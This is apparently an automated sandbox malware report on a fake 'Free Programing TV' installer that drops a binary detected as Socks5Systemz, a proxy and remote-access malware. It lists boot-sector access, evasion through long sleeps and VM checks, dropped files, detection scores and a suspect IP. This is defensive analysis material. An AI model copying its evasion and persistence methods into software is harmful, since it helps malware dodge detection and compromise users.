Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0045FD1C push ecx; mov dword ptr [esp], ecx	1_2_0045FD20
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00499D30 pushad ; retf	1_2_00499D3F

Source: freeprogramingtv32.exe.1.dr	Static PE information: section name: .text entropy: 7.760848310830026
Source: DPI Analog Input 9.15.45.exe.2.dr	Static PE information: section name: .text entropy: 7.760848310830026

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		2_2_00401A4F
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		2_2_02B9F7D6

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\is-UFCL6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\is-2N406.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\is-KSEJR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	File created: C:\ProgramData\DPI Analog Input 9.15.45\DPI Analog Input 9.15.45.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\is-QTH1O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\is-3AOSI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\is-ID0G0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\is-UF6SG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Free Programing TV\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

File created: C:\ProgramData\DPI Analog Input 9.15.45\DPI Analog Input 9.15.45.exe

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		2_2_00401A4F
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		2_2_02B9F7D6

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: 2_2_004021E9 StartServiceCtrlDispatcherA,

2_2_004021E9

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423C0C
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	1_2_00423C0C
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004241DC IsIconic,SetActiveWindow,SetFocus,	1_2_004241DC
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00424194 IsIconic,SetActiveWindow,	1_2_00424194
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00418384 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	1_2_00418384
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0042285C SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	1_2_0042285C
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00417598 IsIconic,GetCapture,	1_2_00417598
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00483A90 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	1_2_00483A90
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00417CCE IsIconic,SetWindowPos,	1_2_00417CCE
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00417CD0 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	1_2_00417CD0

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_0041F118 GetVersion,SetErrorMode,LoadLibraryA,SetErrorMode,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

1_2_0041F118

Source: C:\Users\user\Desktop\file.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		2_2_00401B4B
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,		2_2_02B9F8DA

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Window / User API: threadDelayed 5889			Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Window / User API: threadDelayed 3964			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\is-UFCL6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\is-2N406.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\is-KSEJR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\is-QTH1O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\is-3AOSI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\is-ID0G0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\is-UF6SG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Free Programing TV\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-RAKJO.tmp\_isetup\_shfoldr.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_0-5972

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-20149

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe TID: 2832	Thread sleep count: 5889 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe TID: 2832	Thread sleep time: -11778000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe TID: 708	Thread sleep count: 64 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe TID: 708	Thread sleep time: -3840000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe TID: 2832	Thread sleep count: 3964 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe TID: 2832	Thread sleep time: -7928000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00452A60 FindFirstFileA,GetLastError,	1_2_00452A60
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004750DC FindFirstFileA,FindNextFileA,FindClose,	1_2_004750DC
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00464158 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_00464158
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004981F8 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	1_2_004981F8
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00462750 FindFirstFileA,FindNextFileA,FindClose,	1_2_00462750
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00463CDC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	1_2_00463CDC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00409B78 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

0_2_00409B78

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: freeprogramingtv32.exe, 00000002.00000002.2928475941.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: freeprogramingtv32.exe, 00000002.00000002.2928475941.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: freeprogramingtv32.exe, 00000002.00000002.2928475941.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6;

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node			graph_0-6769
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	API call chain: ExitProcess graph end node			graph_2-20444

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: 2_2_02BB00FE RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

2_2_02BB00FE

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

2_2_02BB00FE

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_004502C0

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: 2_2_02B96487 RtlInitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetTickCount,GetVersionExA,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,_malloc,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlAllocateHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_malloc,_malloc,_malloc,QueryPerformanceCounter,Sleep,_malloc,_malloc,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,

2_2_02B96487

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: 2_2_02BA9468 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_02BA9468

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_00478658 ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

1_2_00478658

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_0042E09C AllocateAndInitializeSid,GetVersion,GetModuleHandleA,GetProcAddress,CheckTokenMembership,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,

1_2_0042E09C

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: 2_2_02BA7FAD cpuid

2_2_02BA7FAD

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,	0_2_0040520C
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,	0_2_00405258
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: GetLocaleInfoA,	1_2_00408568
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: GetLocaleInfoA,	1_2_004085B4

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_004585C8 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,

1_2_004585C8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004026C4 GetSystemTime,

0_2_004026C4

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_0045559C GetUserNameA,

1_2_0045559C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405CF4 GetVersionExA,

0_2_00405CF4

Stealing of Sensitive Information

Yara detected Socks5Systemz

Source: Yara match	File source: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2929265237.0000000002712000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: freeprogramingtv32.exe PID: 1800, type: MEMORYSTR

Remote Access Functionality

Yara detected Socks5Systemz

Source: Yara match	File source: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2929265237.0000000002712000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: freeprogramingtv32.exe PID: 1800, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	5 Windows Service	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Bootkit	1 Access Token Manipulation	22 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	5 Windows Service	1 DLL Side-Loading	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Process Injection	1 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	112 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bootkit	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	26%	Virustotal		Browse
file.exe	16%	ReversingLabs	Win32.Trojan.Munp

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	100%	Joe Sandbox ML
C:\ProgramData\DPI Analog Input 9.15.45\DPI Analog Input 9.15.45.exe	100%	Joe Sandbox ML
C:\ProgramData\DPI Analog Input 9.15.45\DPI Analog Input 9.15.45.exe	34%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\Qt5OpenGL.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\Qt5OpenGL.dll (copy)	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	34%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\is-3AOSI.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\is-3AOSI.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\is-ID0G0.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\is-ID0G0.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\is-KSEJR.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\is-KSEJR.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\is-QTH1O.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\is-QTH1O.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\is-UF6SG.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\is-UF6SG.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\is-UFCL6.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\is-UFCL6.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\libeay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\libeay32.dll (copy)	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\libssl-1_1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\libssl-1_1.dll (copy)	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\msvcp71.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\msvcp71.dll (copy)	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\msvcr71.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\msvcr71.dll (copy)	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Free Programing TV\ssleay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Free Programing TV\ssleay32.dll (copy)	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://www.innosetup.com/	0%	Avira URL Cloud	safe
http://185.196.8.214/	0%	Avira URL Cloud	safe
http://repository.certum.pl/cscasha2.cer0	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	Avira URL Cloud	safe
http://repository.certum.pl/ctnca.cer09	0%	Avira URL Cloud	safe
http://crl.certum.pl/ctnca.crl0k	0%	Avira URL Cloud	safe
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	0%	Avira URL Cloud	safe
http://repository.certum.pl/ctnca.cer09	0%	Virustotal		Browse
http://repository.certum.pl/cscasha2.cer0	0%	Virustotal		Browse
http://www.innosetup.com/	1%	Virustotal		Browse
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	Virustotal		Browse
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	0%	Virustotal		Browse
http://185.196.8.214/	11%	Virustotal		Browse
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	Virustotal		Browse
